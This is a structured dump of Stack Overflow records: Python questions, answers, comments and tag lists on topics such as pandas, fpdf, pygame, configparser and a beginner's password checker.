has body: I'm trying to calculate the area of skyline (overlapping rectangles with same baseline) building_count = int(input()) items = {} # dictionary, location on x axis is the key, height is the value count = 0 # total area for j in range(building_count): line = input().split(' ') H = int(line[0]) # height L = int(line[1]) # left point (start of the building) R = int(line[2]) # right point (end of the building) for k in range(R - L): if not (L+k in items): # if it's not there, add it items[L+k] = H elif H &gt; items[L+k]: # if we have a higher building on that index items[L+k] = H for value in items.values(): # we add each column basically count += value print(count) sample input would be: 5 3 -3 0 2 -1 1 4 2 4 2 3 7 3 6 8 and output is 29. The issue is memory efficiency, when there are lots of values, the script simply throws MemoryError. Anyone have some ideas for optimizing memory usage?
type: AnsweredQuestion

http://stackoverflow.com/comment/81546916
type: AnswerComment
comment on: http://stackoverflow.com/a/47297537
has text: Thanks! Is there a way that can share the y axis, specifically the ylabel?
type: Comment
score: 0

http://stackoverflow.com/comment/104216574
type: Comment
type: QuestionComment
has text: See: https://stackoverflow.com/a/58980599/3220983
score: 1
comment on: http://stackoverflow.com/q/47242668

http://stackoverflow.com/comment/88554019
type: AnswerComment
score: 16
comment on: http://stackoverflow.com/a/47296960
type: Comment
has text: Works great, thanks. To inline the virtualenv name lookup: `python -m ipykernel install --user --name=\`basename $VIRTUAL_ENV\` `

http://stackoverflow.com/comment/81604446
type: AnswerComment
comment on: http://stackoverflow.com/a/47326073
has text: `.isdecimal` although it also includes a few unexpected characters seems to work
score: 1
type: Comment

http://stackoverflow.com/comment/81556172
comment on: http://stackoverflow.com/a/47302554
score: 0
type: Comment
has text: Oh my bad. Try this: https://dev.mysql.com/doc/refman/5.5/en/date-and-time-functions.html#function_curdate
type: AnswerComment

http://stackoverflow.com/a/47234544
has comment: http://stackoverflow.com/comment/81419768
has comment: http://stackoverflow.com/comment/81419782
has body: I think one problem here is that you didn't __init__ the list in the subclass' __init__ - so do this: class lines_type(list): def __init__(self, lines): super().__init__(self) self.lines = lines[:] However, if you don't want "self" to be a list, then do not subclass from list. class lines_type(object): def __init__(self, lines): self.lines = lines[:] which, when printing lines and lines.lines in your example, should output &lt;__main__.lines_type object at 0x...&gt; [1, 2, 3]
type: Answer
answers question: http://stackoverflow.com/q/47234448
score: 0
accepted answer of: http://stackoverflow.com/q/47234448
type: AcceptedAnswer

http://stackoverflow.com/q/47251818
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81453854
has title: def issue - NameError: name ' passwordchecker' is not defined
type: UnansweredQuestion
score: -2
has answer: http://stackoverflow.com/a/47251911
downvote count: 2
tagged with: python
has body: I am making a password checker and a generator with a menu, the password checker by it's self works fine but the menu does not work along with the code and I've tried the menu by it's self and that does not work either. These are the errors that I am receiving: Traceback (most recent call last): File "C:/Users/Jasiu Czajka/PycharmProjects/untitled/First Code.py", line 41, in &lt;module&gt; mainmenu() File "C:/Users/Jasiu Czajka/PycharmProjects/untitled/First Code.py", line 24, in mainmenu passwordchecker() NameError: name 'passwordchecker' is not defined I'm not sure what I've done wrong, so please help if you can. I use pycharm and python 3.6.3 import re def mainmenu(): print("*******************************************************************") print(" Welcome to the Password Checker &amp; Generator ") print('*******************************************************************') print("-------------------------------------------------------------------") print("This program can be used to check a password to see if it is strong") print("-------------------------------------------------------------------") print("This Program can be used to generate strong passwords") print("-------------------------------------------------------------------") print("1. Password Checker") print("-------------------------------------------------------------------") print("2. Password Generator") print("-------------------------------------------------------------------") print("3. Exit") print("-------------------------------------------------------------------") print("*******************************************************************") while True: try: selection = int(input("Enter choice: ")) # Making selection a variable if selection == 1: passwordchecker() break elif selection == 2: passwordgenerator() break elif selection == 3: exit() break else: print("Invalid Choice. Enter 1-3") mainmenu() except ValueError: print("Invalid Choice. Enter 1-3") exit() mainmenu() def passwordche…
has comment: http://stackoverflow.com/comment/81453965
answer count: 3
upvote count: 0
has answer: http://stackoverflow.com/a/47251906
has answer: http://stackoverflow.com/a/47251924

http://stackoverflow.com/q/47263621
favorite count: 0
type: Question
has body: I want to insert some lengthy images (each image can extend to 2 pages) using python fpdf. But the images don't continue to next page once a page break is triggered. How can I print the rest of the images into the next page starting from a given set_y value (header included)?
score: 1
has comment: http://stackoverflow.com/comment/81567731
tagged with: python
tagged with: fpdf
has title: Page breaks for images in Python fpdf
has answer: http://stackoverflow.com/a/47308877
has answer: http://stackoverflow.com/a/47351785
answer count: 3
upvote count: 3
has answer: http://stackoverflow.com/a/47308740
type: UnansweredQuestion
downvote count: 2
has comment: http://stackoverflow.com/comment/81567551

http://stackoverflow.com/comment/81660359
has text: Can you just use a list comprehension: `return [(u_1 < v < u_2) ... for v in u]`? Note the `...` is just a placeholder for the rest of your equation and should not be in your code.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47353973

http://stackoverflow.com/comment/82027386
score: 0
has text: this is the path to the uploaded file: `file_name = os.path.join(IGui.settings.BASE_DIR, 'media/archives/', func_obj.sourceFile.name)`
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47530866

http://stackoverflow.com/comment/81695476
has text: oohhhh, yeah i think its because the website blocks you from scraping all the material and only allows some to be scraped. I imported time to increment how often it was retrieving information and if you retrieve it at slower rate you can scrape more items, but shouldn't it still add the items it was able to retrieve from the list?
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47356964

http://stackoverflow.com/q/47269951
tagged with: ply
has body: I designed a toy language : # comments n = 2 #an integer k = 3.14 # a float f(x): # a function return (x-k)^n g(z): #another function return max(z-2.9, 0.1) # max should be understood h(x,y: # another function ; note that function can call functions return x*g(y) pointable x # a formal variable pointable y # another formal variable gives h (x @ 3.2, y @ 1.9) @ 6.1 # an instruction, the meaning will be clear later gives f (x @ 1.2) @ 3.1 #another instruction give # the final instruction The purpose of this language is the following : the previous code, when parsed, is supposed to create the following list : [[1, (f), (1.2), 3.1], [2, (f, h), (3.2, 1.9), 6.1]] There are as many elements as there are give instructions. I have no idea about how to design a grammar for this language. I know that it has to be in a EBNF form because I want to used plyplus as I already toyed with it with simple algebraic expressions parsing, but there is a great move from simple algebraic expression directly evaluated and what I intend to do. (Even if I know that formally it is the same.) (How are treated functions when you have the abstract syntax tree of the above code btw ?) For information, at the end, from [[1, (f), (1.2), 3.1], [2, (f, h), (3.2, 1.9), 6.1]] I want to produce the following python function : def F(X1,X2): # code defining f and g "as" defined above # ... # code using f and g S1 = exp(-3.1)*f(X1/1.2) S2 = exp(-6.1)*g(X1/3.2,X2/1.9) res = S1 + S2 return res and I would like to product it is as ast = language_grammar.parse(code_above) #tree F = tree.generatefunction() I got the python grammar in the plyplus form and tried to reduce it (I would still like to having conditions and loops in my language) and adapt, without success, as this is really not my area. I also feel that I would need in the grammar an algebraic subgrammar using all classical math functions and combining them, but I cannot really give a formal definition to this idea.
tagged with: python
tagged with: yacc
answer count: 0
tagged with: grammar
type: UnansweredQuestion
downvote count: 0
upvote count: 1
has title: grammar (with plyplus) for a small language for generating python functions
score: 1
favorite count: 0
type: Question
tagged with: python-plyplus

http://stackoverflow.com/q/47365960
answer count: 1
accepted answer: http://stackoverflow.com/a/47373160
type: Question
has answer: http://stackoverflow.com/a/47373160
tagged with: python
has title: Flask: How to retain a value in a variable for a certain amount of time?
tagged with: flask
has body: i'm making a chatbot on messenger platform and i'm asking the user a series of questions.But, when the user answers the first question, it goes directly to the fallback intent in Api.AI and i have to keep answering the same question untill it goes to the next question. I thought setting a sessionID will fix the issue but it didn't. ai = ApiAI(os.environ["APIAI_TOKEN"]) req = ai.text_request() req.session_id = str(uuid.uuid1(int(str(senderID)[0:15]))) As it turns out the output of the uuid1 changes sometimes when a new request(when user answers the question) even if the senderID is the same(senderID is the user ID sent by facebook).So, i'm trying to save the value from uuid1 to a dictionary and if a user answer's the first question the new request will frist check the dictionary for the senderID and if it already exist it will not generate a new uuid for the same senderID. But the problem is sometimes when a new request(from the same user) hits heroku, the values from the dictionary is gone. This doesn't happens everytime but about 90% of the time. Here's the logs of a new request. 2017-11-18T09:43:03.784670+00:00 heroku[router]: at=info method=POST path="/" host=website.com request_id=ab6d6488-0343-4c68-9b2a-d6faf2ee2302 fwd="173.252.123.140" dyno=web.1 connect=0ms service=633ms status=200 bytes=161 protocol=https What should i do to retain the value. Is there any other approach? I'm a newbie and i've being stuck in this problem for a week.
tagged with: heroku
type: AnsweredQuestion
score: 0

http://stackoverflow.com/a/47303895
accepted answer of: http://stackoverflow.com/q/47303598
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/47303598
score: 1
type: AcceptedAnswer
upvote count: 1
has body: in operator expects an iterable object on the right side but you are providing an integer, therefore error occurred Either use if target_x == sm_dict[1]['x']: #Do your stuff Or car_data in sm_dict: if sm_dict[car_data]['x'] == target_x: #Do your stuff

http://stackoverflow.com/a/47368605
type: Answer
accepted answer of: http://stackoverflow.com/q/47362271
score: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47362271
downvote count: 0
has body: As @metatoaster suggested, python setup.py develop reflects changes immediately in the environment, and makes the new functions available. I haven't tried @Paul H's suggestion which is pip install . -e. Thank you both for your comments, problem is solved.
upvote count: 1

http://stackoverflow.com/q/47365878
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81704347
type: AnsweredQuestion
tagged with: pandas
linked to: http://stackoverflow.com/q/20109391
has body: I have the following dataframe for business days In [23]: d = pd.DataFrame({'date' : ['20070105', '20070105', '20070106', '20070106', '20070106', '20070109'], 's' : [1, 2, 1,2,3,1], 'i': ['a', 'b', 'a', 'b', 'c', 'a']}) In [26]: d['date'] = pd.to_datetime(d['date'], format='%Y%m%d') In [27]: d Out[27]: date i s 0 2007-01-05 a 1 1 2007-01-05 b 2 2 2007-01-06 a 1 3 2007-01-06 b 2 4 2007-01-06 c 3 5 2007-01-09 a 1 I want to fill in the data for missing dates (according to 'alldays' calendar) and the output should be as follows. Basically 20070107 and 20070108 were missing and its data was copied from 20070106. Out[31]: date i s 0 2007-01-05 a 1 1 2007-01-05 b 2 2 2007-01-06 a 1 3 2007-01-06 b 2 4 2007-01-06 c 3 5 2007-01-07 a 1 6 2007-01-07 b 2 7 2007-01-07 c 3 8 2007-01-08 a 1 9 2007-01-08 b 2 10 2007-01-08 c 3 11 2007-01-09 a 1 What is the best way to do this in pandas?
score: 1
has comment: http://stackoverflow.com/comment/81684421
accepted answer: http://stackoverflow.com/a/47365997
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/47365997
favorite count: 0
type: Question
has title: Propagate values in pandas for missing dates

http://stackoverflow.com/q/47371627
type: UnansweredQuestion
favorite count: 0
has answer: http://stackoverflow.com/a/47371658
tagged with: list
answer count: 2
downvote count: 0
tagged with: loops
score: 1
upvote count: 1
tagged with: tuples
type: Question
has body: In Python, I have some tuples like b, and I want to add them into an empty list without unpack them. Here, I simplify b so that it repeats itself, in reality, the values in b would be different, so b would be b1, b2, b3... b = ({'a': 1, 'b': 1, 'c': 1}, 'y') bb = [b, b, b] print(len(bb)) print(len(bb[0])) bb This gives 3 2 Out[204]: [({'a': 1, 'b': 1, 'c': 1}, 'y'), ({'a': 1, 'b': 1,'c': 1}, 'y'), ({'a': 1, 'b': 1, 'c': 1}, 'y')] which is what I want. But since I am now doing in a loop, I can not write bb = [b, b, b]. The syntax I came up with will make hiarachy that I do not want. bb = () b = ({'a': 1, 'b': 1, 'c': 1}, 'y') bb = [bb, b] # in reality I loop bb with 3 times in for loop bb = [bb, b] bb = [bb, b] print(len(bb)) print(len(bb[0])) bb This gives [[[(), ({'a': 1, 'b': 1, 'c': 1}, 'y')], ({'a': 1, 'b': 1, 'c': 1},'y')], ({'a': 1, 'b': 1, 'c': 1}, 'y')] and is not want I wanted. How can I loop and reach the first outcome?
has answer: http://stackoverflow.com/a/47371637
has title: Add tuples into a list without unpack the tuple
has comment: http://stackoverflow.com/comment/81696030
tagged with: python

min
type: Tag
tags question: http://stackoverflow.com/q/47341900
tags question: http://stackoverflow.com/q/47365785
tag name: min
tags question: http://stackoverflow.com/q/47294468

http://stackoverflow.com/comment/81484639
score: 1
type: Comment
type: AnswerComment
has text: Well check this website out and try and install it from scratch [here](https://alliseesolutions.wordpress.com/2016/09/08/install-gpu-tensorflow-from-sources-w-ubuntu-16-04-and-cuda-8-0/)
comment on: http://stackoverflow.com/a/47265729

numpy
tags question: http://stackoverflow.com/q/47319404
tags question: http://stackoverflow.com/q/47299652
tags question: http://stackoverflow.com/q/47331548
tags question: http://stackoverflow.com/q/47266965
tags question: http://stackoverflow.com/q/47244885
tags question: http://stackoverflow.com/q/47291132
tags question: http://stackoverflow.com/q/47301261
tags question: http://stackoverflow.com/q/47248531
tags question: http://stackoverflow.com/q/47305174
tags question: http://stackoverflow.com/q/47371787
tags question: http://stackoverflow.com/q/47234513
tags question: http://stackoverflow.com/q/47381078
tags question: http://stackoverflow.com/q/47362763
tags question: http://stackoverflow.com/q/47289086
tags question: http://stackoverflow.com/q/47377372
tags question: http://stackoverflow.com/q/47287462
tags question: http://stackoverflow.com/q/47254587
tags question: http://stackoverflow.com/q/47357870
tags question: http://stackoverflow.com/q/47228283
tags question: http://stackoverflow.com/q/47379922
tags question: http://stackoverflow.com/q/47256469
tags question: http://stackoverflow.com/q/47295091
tags question: http://stackoverflow.com/q/47259017
tags question: http://stackoverflow.com/q/47244826
tags question: http://stackoverflow.com/q/47344577
tags question: http://stackoverflow.com/q/47272702
tags question: http://stackoverflow.com/q/47339616
tags question: http://stackoverflow.com/q/47369873
tags question: http://stackoverflow.com/q/47292603
tags question: http://stackoverflow.com/q/47295748
tags question: http://stackoverflow.com/q/47320316
tags question: http://stackoverflow.com/q/47276494
tags question: http://stackoverflow.com/q/47259664
tags question: http://stackoverflow.com/q/47230791
tags question: http://stackoverflow.com/q/47378253
tags question: http://stackoverflow.com/q/47233855
tags question: http://stackoverflow.com/q/47254811
tags question: http://stackoverflow.com/q/47338052
tags question: http://stackoverflow.com/q/47379353
tags question: http://stackoverflow.com/q/47254754
tags question: http://stackoverflow.com/q/47309818
tags question: http://stackoverflow.com/q/47349233
tags question: http://stackoverflow.com/q/47283167
tags question: http://stackoverflow.com/q/47271229
tags question: http://stackoverflow.com/q/47335625
tags question: http://stackoverflow.com/q/47242330
tags question: http://stackoverflow.com/q/47297175
tags question: http://stackoverflow.com/q/47324891
tags question: http://stackoverflow.com/q/47322435
tags question: http://stackoverflow.com/q/47248727
tags question: http://stackoverflow.com/q/47271905
tags question: http://stackoverflow.com/q/47379712
tags question: http://stackoverflow.com/q/47373939
tags question: http://stackoverflow.com/q/47226644
tags question: http://stackoverflow.com/q/47269390
tags question: http://stackoverflow.com/q/47240745
tags question: http://stackoverflow.com/q/47342529
tags question: http://stackoverflow.com/q/47243202
tags question: http://stackoverflow.com/q/47382467
tags question: http://stackoverflow.com/q/47253169
tags question: http://stackoverflow.com/q/47335033
tags question: http://stackoverflow.com/q/47240146
tags question: http://stackoverflow.com/q/47255726
tags question: http://stackoverflow.com/q/47337534
tags question: http://stackoverflow.com/q/47378101
tags question: http://stackoverflow.com/q/47276177
tags question: http://stackoverflow.com/q/47273840
tags question: http://stackoverflow.com/q/47331574
tags question: http://stackoverflow.com/q/47373262
tags question: http://stackoverflow.com/q/47252118
tags question: http://stackoverflow.com/q/47360895
tags question: http://stackoverflow.com/q/47342907
tags question: http://stackoverflow.com/q/47369579
tags question: http://stackoverflow.com/q/47343142
tags question: http://stackoverflow.com/q/47337605
tags question: http://stackoverflow.com/q/47272757
tags question: http://stackoverflow.com/q/47360625
tags question: http://stackoverflow.com/q/47379491
type: Tag
tags question: http://stackoverflow.com/q/47267849

http://stackoverflow.com/comment/81599762
has text: Thank you, however, after finishing this, I ran mapit "New York", it showed zsh: permission denied: /Users/edward/PycharmProjects/Pratical_function/mapit.py.
comment on: http://stackoverflow.com/a/47310231
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47232227
downvote count: 0
score: 1
upvote count: 1
answer count: 1
has title: Django-Python3-LDAP Direct Bind
favorite count: 0
type: Question
tagged with: python-3.x
tagged with: django
tagged with: python
has body: Is it possible to direct bind to AD with django-python3-ldap? I know search and bind is possible, but this requires someone's AD password to be accessible to other members of the team (i.e. in an environment variable on the server where the Django app is hosted).
tagged with: active-directory
has answer: http://stackoverflow.com/a/47233233
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47233233

http://stackoverflow.com/comment/91046073
type: Comment
type: QuestionComment
has text: Related: [Partially factoring an expression in Sympy](https://stackoverflow.com/q/52046815). The function given in my answer there rewrites this `f` as `a2*b2*nb1*(a1 + na1) + b1*(a1*na2*nb2 + a1*na2)`.
score: 0
comment on: http://stackoverflow.com/q/47262626

http://stackoverflow.com/a/47288763
type: Answer
has body: We can combine them together :-) df.loc[df['A'] == 33].iloc[:,0:2] Out[464]: A B 1 33 b2 Or df.iloc[(df['A'] == 33).nonzero()[0],0:2] Out[471]: A B 1 33 b2
answers question: http://stackoverflow.com/q/47288651
score: 0

http://stackoverflow.com/comment/81513479
type: Comment
has text: Edited to match the general case.
type: AnswerComment
comment on: http://stackoverflow.com/a/47270981
score: 1

http://stackoverflow.com/q/47227445
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81405676
has body: Im trying to make a while loop in python, but the loop keeps looping infinitely. Here's what I have so far: def pvalue(num): ans = '' while num &gt; 0: if 1 &lt;= num &lt;= 9: ans += 'B' num -= 1 if num &gt;= 10: ans += 'A' num -= 10 return ans I want num to be returned as ans as follows: if num is 5, I want ans to be BBBBB if num is 10, ans is A if num is 22, I want ans to be AABB.
answer count: 2
has comment: http://stackoverflow.com/comment/81405190
type: UnansweredQuestion
upvote count: 0
score: -2
downvote count: 2
tagged with: python
has comment: http://stackoverflow.com/comment/81405293
has comment: http://stackoverflow.com/comment/81405325
has title: How do I make while loops terminate after using If/ elif statements in python?
has comment: http://stackoverflow.com/comment/81405120
tagged with: while-loop
has comment: http://stackoverflow.com/comment/81405111
has answer: http://stackoverflow.com/a/47227617
has answer: http://stackoverflow.com/a/47227709
has comment: http://stackoverflow.com/comment/81405255

function
tags question: http://stackoverflow.com/q/47357757
tags question: http://stackoverflow.com/q/47289844
tags question: http://stackoverflow.com/q/47240199
tags question: http://stackoverflow.com/q/47253169
tags question: http://stackoverflow.com/q/47378639
tags question: http://stackoverflow.com/q/47298253
tags question: http://stackoverflow.com/q/47328798
type: Tag
tags question: http://stackoverflow.com/q/47364853
tag name: function
tags question: http://stackoverflow.com/q/47366248
tags question: http://stackoverflow.com/q/47342764
tags question: http://stackoverflow.com/q/47376702
tags question: http://stackoverflow.com/q/47227834
tags question: http://stackoverflow.com/q/47256767
tags question: http://stackoverflow.com/q/47297795
tags question: http://stackoverflow.com/q/47356032
tags question: http://stackoverflow.com/q/47255884
tags question: http://stackoverflow.com/q/47246748
tags question: http://stackoverflow.com/q/47250816
tags question: http://stackoverflow.com/q/47362844
tags question: http://stackoverflow.com/q/47373427
tags question: http://stackoverflow.com/q/47287046
tags question: http://stackoverflow.com/q/47329325
tags question: http://stackoverflow.com/q/47273901
tags question: http://stackoverflow.com/q/47341900
tags question: http://stackoverflow.com/q/47255578
tags question: http://stackoverflow.com/q/47340674
tags question: http://stackoverflow.com/q/47329137
tags question: http://stackoverflow.com/q/47259363
tags question: http://stackoverflow.com/q/47267873
tags question: http://stackoverflow.com/q/47380074
tags question: http://stackoverflow.com/q/47365379
tags question: http://stackoverflow.com/q/47362347
tags question: http://stackoverflow.com/q/47342194
tags question: http://stackoverflow.com/q/47271963
tags question: http://stackoverflow.com/q/47309651
tags question: http://stackoverflow.com/q/47352136
tags question: http://stackoverflow.com/q/47367195
tags question: http://stackoverflow.com/q/47332283
tags question: http://stackoverflow.com/q/47259400
tags question: http://stackoverflow.com/q/47267849
tags question: http://stackoverflow.com/q/47308864
tags question: http://stackoverflow.com/q/47274753
tags question: http://stackoverflow.com/q/47317751
tags question: http://stackoverflow.com/q/47366872
tags question: http://stackoverflow.com/q/47352482
tags question: http://stackoverflow.com/q/47233843
tags question: http://stackoverflow.com/q/47238752
tags question: http://stackoverflow.com/q/47290495
tags question: http://stackoverflow.com/q/47372274
tags question: http://stackoverflow.com/q/47287528
tags question: http://stackoverflow.com/q/47274249
tags question: http://stackoverflow.com/q/47256532
tags question: http://stackoverflow.com/q/47327647
tags question: http://stackoverflow.com/q/47338873
tags question: http://stackoverflow.com/q/47372712
tags question: http://stackoverflow.com/q/47375169
tags question: http://stackoverflow.com/q/47308229
tags question: http://stackoverflow.com/q/47377686
tags question: http://stackoverflow.com/q/47312882
tags question: http://stackoverflow.com/q/47254755

http://stackoverflow.com/comment/81739260
type: QuestionComment
has text: @ChaitaliSarkar I have modified the question with the current script and output. I am pretty close, missing out on something very basic. Would be very thankful, if you could pinpoint it out!
score: 0
comment on: http://stackoverflow.com/q/47351416
type: Comment

http://stackoverflow.com/a/53265602
has body: with fiona.open(file, encoding="UTF-8") as f: worked for me.
type: Answer
score: 4
upvote count: 4
downvote count: 0
answers question: http://stackoverflow.com/q/47243879

http://stackoverflow.com/a/47378999
has body: You can only add instances of pygame.sprite.Sprite subclasses to a pygame.sprite.Group. You also have to call the __init__ method of the superclass: super().__init__() (or super(Platform, self).__init__() in Python 2). class Platform(pygame.sprite.Sprite): def __init__(self,x,y,w,h): super().__init__()
answers question: http://stackoverflow.com/q/47377798
downvote count: 0
upvote count: 1
score: 1
type: Answer

http://stackoverflow.com/comment/81548013
score: 0
type: AnswerComment
type: Comment
has text: I submitted the first solution and it was accepted. Indeed I had missed that the `all_same` method is also O(n), so I was running a O(n^3) method instead of a O(n^2) one. (Your solution is indeed much tidier as well; it makes sense to start extending the palindrome from a single letter).
comment on: http://stackoverflow.com/a/47260328

http://stackoverflow.com/a/47355070
has body: openpyxl.load_workbook() can read a path with Whitespace in it. In my fully reproducible example, there's whitespace in the workbook name and the folders. I'm guessing that the problems occur if you are not preceding your strings with an "r". The "r" will tell python to treat the given string as a raw string. import os from openpyxl import Workbook from openpyxl import load_workbook # Path to be created - please change to your desired folder location path = r"C:\Users\doe_j\test\python\a path\with spaces" wb_name = path + r"\space book.xlsx" if os.path.isdir(path) != True: os.makedirs(path) print(path, "created!") elif os.path.isdir(path) != False: print(path, "already exists!") # making a workbook so this example is reproducible wb = Workbook() ws = wb.active ws["A1"] = "Putting some text in" wb.save(wb_name) # loading that same workbook wb = load_workbook(wb_name) ws = wb.active ws["A3"] = "Adding Some more text in" wb.save(wb_name) This example was tested on windows 10, python 3.5 and openpyxl 2.4.7.
score: 1
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47343643
type: Answer
has comment: http://stackoverflow.com/comment/81665405

http://stackoverflow.com/comment/81654744
type: QuestionComment
has text: Can you clarify more? For example, how many numbers' sum are you taking? You are showing here two numbers at a time.\
comment on: http://stackoverflow.com/q/47351208
score: 0
type: Comment

http://stackoverflow.com/q/47352502
answer count: 1
has comment: http://stackoverflow.com/comment/81657285
downvote count: 0
has comment: http://stackoverflow.com/comment/81657458
favorite count: 0
type: Question
tagged with: python-3.x
has body: Below is my python project structure in eclipse. I am using configparser to read a section in settings.config file. The configparser is not parsing the file. It shows No Section specified but I have correctly mentioned the section. I am creating a dockerfile and when I run docker-compose file, the path is shown as /usr/local/lib/python3.6/site-packages/MyProject-0.0.1-py3.6.egg/Publisher/settings.config MyProject -Client -__init__.py -Main.py -Publisher -domain1 -domain2 -__init__.py -config.py -callconfig.py -__init__.py -settings.config #config.py import os.path as path try: from configparser import ConfigParser except ImportError: from ConfigParser import ConfigParser # ver. &lt; 3.0 class Config(object): def get(self, mykey): config = ConfigParser() configpath = path.join(path.split(path.dirname(path.abspath(__file__)))[0], "settings.config") print (configpath) config.read(configpath) myvalue = config.get('mysection', mykey)
tagged with: docker-compose
tagged with: python
has title: configparser: Not reading the file from the given path
has answer: http://stackoverflow.com/a/47870287
tagged with: configparser
tagged with: docker
type: UnansweredQuestion
score: 1
upvote count: 1

http://stackoverflow.com/comment/81480352
comment on: http://stackoverflow.com/q/47264837
type: Comment
type: QuestionComment
has text: Show your attempt. Explain desired behavior and how it differs from the expected.
score: 3

http://stackoverflow.com/comment/81464511
comment on: http://stackoverflow.com/q/47256703
has text: I don't think it retrains. It might print some user message though.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/47369620
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47369580
answers question: http://stackoverflow.com/q/47369580
has comment: http://stackoverflow.com/comment/81692307
type: Answer
has comment: http://stackoverflow.com/comment/81692380
score: 0
has body: Just iterate through the lines and split on the comma (,). Then append the first part (the number) to numb_list but first convert to an int with int(). Then append the second part (remember this is index 1 so got with [1]) to the text list, but first stripping off the space at the start. numb_list = [] text = [] with open("file.txt") as f: for l in f: parts = l.split(",") numb_list.append(int(parts[0])) text.append(parts[1].strip())
has comment: http://stackoverflow.com/comment/81691894

http://stackoverflow.com/a/47391159
upvote count: 4
has comment: http://stackoverflow.com/comment/109083768
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/47348287
score: 4
has body: With this code it work: from bokeh.plotting import figure from bokeh.models.mappers import LogColorMapper from bokeh.models import ColorBar, LogTicker color_mapper = LogColorMapper(palette="Viridis256", low=0.1, high=0.8) plot = figure(x_range=(0,image_data.shape[0]), y_range=(0,image_data.shape[1]), toolbar_location=None) plot.image(image=[image], color_mapper=color_mapper, dh=[image_data.shape[0]], dw=[image_data.shape[1]], x=[0], y=[0]) color_bar = ColorBar(color_mapper=color_mapper, ticker=LogTicker(), label_standoff=12, border_line_color=None, location=(0,0)) plot.add_layout(color_bar, 'right')
answers question: http://stackoverflow.com/q/47348287
downvote count: 0
has comment: http://stackoverflow.com/comment/103004258

http://stackoverflow.com/q/47320695
type: Question
has body: So I understand the concept of backtracking and looked through the code here to implement the simple string permutation algorithm. My problem however is the following: I have a list of n lists of the form: l = [[1,2,3],[4,3,2],[7,6,5],[1,2,9],[6,8]] Say I sort these lists by least number of occurrence of an element and place in a dictionary where the key represents the number of occurrence of an element, like so: d = {1:[[7,6,5],[6,8],[4,3,2],[1,2,9]], 2:[[1,2,3],[1,2,9],[4,3,2],[7,6,5],[6,8]], 3:[[1,2,3],[4,3,2],[1,29]]} So what that dictionary represents is the following: The numbers 4, 5, 7, 8 and 9 occur only once so all lists containing them are put into a list with the key 1. The numbers 1, 3 and 6 occur twice and all lists containing them are put into a list with the corresponding key 2. The number 2 occurs 3 times so all lists containing it are put in a list of lists with key 3. Now, in order to find a set cover for these the set of numbers from 1 to 9, I know I will NEED to use all the list of lists with the key 1. If this satisfies the entire range from 1 to 9 (in this case it does), my job is done. Otherwise, I will need to backtrack with EACH list in the list of lists corresponding to key 2, if I find a combination that satisfies, I stop. If none of them satisfy, I move onto the lists corresponding to key 3. How would one achieve this in python and is this a good way of implementing it? I realize the question is hard to explain in plain English so if it's unclear, please let me know.
has comment: http://stackoverflow.com/comment/81592587
has title: Backtrack in python but stop going deeper if condition is met
tagged with: python
type: UnansweredQuestion
tagged with: backtracking
has comment: http://stackoverflow.com/comment/81593106
has comment: http://stackoverflow.com/comment/81592956
tagged with: list
answer count: 0
has comment: http://stackoverflow.com/comment/81592677
score: 0
has comment: http://stackoverflow.com/comment/81592634
has comment: http://stackoverflow.com/comment/81593127
has comment: http://stackoverflow.com/comment/81592814
has comment: http://stackoverflow.com/comment/81592560
has comment: http://stackoverflow.com/comment/81592769

http://stackoverflow.com/q/47227280
tagged with: pandas
downvote count: 0
accepted answer: http://stackoverflow.com/a/47228752
has answer: http://stackoverflow.com/a/47227378
favorite count: 0
tagged with: pandas-apply
type: Question
has title: pandas groupby apply on multiple columns to generate a new column
has body: I like to generate a new column in pandas dataframe using groupby-apply. For example, I have a dataframe: df = pd.DataFrame({'A':[1,2,3,4],'B':['A','B','A','B'],'C':[0,0,1,1]}) and try to generate a new column 'D' by groupby-apply. This works: df = df.assign(D=df.groupby('B').C.apply(lambda x: x - x.mean())) as (I think) it returns a series with the same index with the dataframe: In [4]: df.groupby('B').C.apply(lambda x: x - x.mean()) Out[4]: 0 -0.5 1 -0.5 2 0.5 3 0.5 Name: C, dtype: float64 But if I try to generate a new column using multiple columns, I cannot assign it directly to a new column. So this doesn't work: df.assign(D=df.groupby('B').apply(lambda x: x.A - x.C.mean())) returning TypeError: incompatible index of inserted column with frame index and in fact, the groupby-apply returns: In [8]: df.groupby('B').apply(lambda x: x.A - x.C.mean()) Out[8]: B A 0 0.5 2 2.5 B 1 1.5 3 3.5 Name: A, dtype: float64 I could do df.groupby('B').apply(lambda x: x.A - x.C.mean()).reset_index(level=0,drop=True)) but it seems verbose and I am not sure if this will work as expected always. So my question is: (i) when does pandas groupby-apply return a like-indexed series vs a multi-index series? (ii) is there a better way to assign a new column by groupby-apply to multiple columns?
score: 6
possible better answer: http://stackoverflow.com/a/47227378
tagged with: python
upvote count: 6
has answer: http://stackoverflow.com/a/47228752
type: AnsweredQuestion
answer count: 2
tagged with: pandas-groupby

http://stackoverflow.com/comment/81685805
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47360596
has text: And `artists_data["topartists"]["artist"]`?
type: Comment

http://stackoverflow.com/comment/81464352
comment on: http://stackoverflow.com/q/47254189
score: 0
type: Comment
type: QuestionComment
has text: Side note: you can't really prevent robots from accessing the site using `robots.txt`, misbehaving ones may choose to ignore the file. See http://www.robotstxt.org/faq/blockjustbad.html.

http://stackoverflow.com/q/47368468
linked to: http://stackoverflow.com/q/18836291
tagged with: lambda
type: AnsweredQuestion
score: 1
linked to: http://stackoverflow.com/q/44474805
has title: PyQt5 button lambda variable becomes boolean
